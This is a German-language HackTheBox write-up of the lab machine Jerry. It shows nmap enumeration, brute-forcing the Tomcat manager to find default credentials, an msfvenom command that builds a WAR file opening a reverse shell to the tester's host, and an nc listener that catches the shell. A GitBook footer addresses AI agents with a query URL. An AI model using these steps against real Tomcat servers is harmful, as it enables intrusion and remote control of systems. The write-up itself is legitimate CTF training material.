> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Jerry HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Jerry mit Abdeckung von Informationsleck, Missbrauch von Tomcat (Einbruch und Privilegieneskalation), mit praktischer Enumeration, Ausnutzung, Foothold und Privilegieneska

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleck
* Tomcat missbrauchen (Eindringen und Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebe4bb372227f477989125fa4ff3755775dd5822%2Fimage%20(998).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aedbe9255ceab70e1c5040297d40a30860fce6d0%2Fimage%20(999).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ba5862e56b69cf96e9efee8a7afd0a1b2a9d58f%2Fimage%20(1000).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3790a7781d9b18311e33d290d62080728c87c11c%2Fimage%20(1001).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0e1f71a751c7e21fd53561222c1886965481223%2Fimage%20(1002).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 8080 - Tomcat

Auf Port 8080 läuft ein Server **Apache Tomcat**. Eine Analyse mit `whatweb` zeigt die **7.0.88** Version, die bekanntermaßen verwundbar ist.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ba230d66a5401d2639587c18073ee2c2245b6ec%2Fimage%20(1003).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1383f6ee9dd62a2ad7c79d9e16c7fc013eded96f%2Fimage%20(1004).png?alt=media" alt=""><figcaption></figcaption></figure>

### Informationsleck

**Verbindung zum Administrationspanel herstellen**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-374127d7338f7fab4a6beb3f0bd9460a03c4330b%2Fimage%20(1005).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir versuchen, auf das `/manager/html` Panel mit Standardzugangsdaten (z. B. `admin:admin`), aber das schlägt fehl.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* Brute-Force-Angriff auf Kennungen/*/*

Wir verwenden die SecLists `tomcat-betterdefaultpasslist.txt` Wörterliste, um einen Brute-Force-Angriff auf die Zugangsdaten durchzuführen:

Um diese Aufgabe zu automatisieren, verwenden wir ein Python-Skript:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Ergebnis:** Gefundene gültige Zugangsdaten sind:/ `tomcat:s3cret`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436525c5ee4cba2f03eecf53ba238bad49c64b3a%2Fimage%20(1006).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cde9d6a0a85d7fdfda97e80b13a9452bb5228b85%2Fimage%20(1007).png?alt=media" alt=""><figcaption></figcaption></figure>

### Tomcat-Schwachstelle:

**1. Erzeugung einer WAR-Datei:**/ Wir verwenden `msfvenom` um eine WAR-Datei mit einer Reverse Shell zu erstellen:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb6d5ea38d998d3153a92c9f4b345e3f4891433b%2Fimage%20(1008).png?alt=media" alt=""><figcaption></figcaption></figure>

**2. Bereitstellung über den Tomcat-Manager:**/ Wir laden die WAR-Datei in das `/manager/html` Panel hoch.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d93f9969dce76ae1a6e01363164dbfc8461c299%2Fimage%20(1009).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**3. Auf die Reverse Shell lauschen:**/ Wir richten einen Listener ein, um die Reverse-Verbindung aufzufangen:

```bash
rlwrap nc -nlvp 443
```

Durch Ausführen der bereitgestellten Datei (`/reverse`), erhalten wir eine interaktive Shell auf der Zielmaschine.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e7eb9a9a376d66e5be5cfaa4a8a433a665cea9%2Fimage%20(1010).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flags user.txt + root.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af8d667cf2ba1d077859733786cbacfa3fdebdb%2Fimage%20(1011).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4187410a631ef06c4fa373d724218232583b669d%2Fimage%20(1012).png?alt=media" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
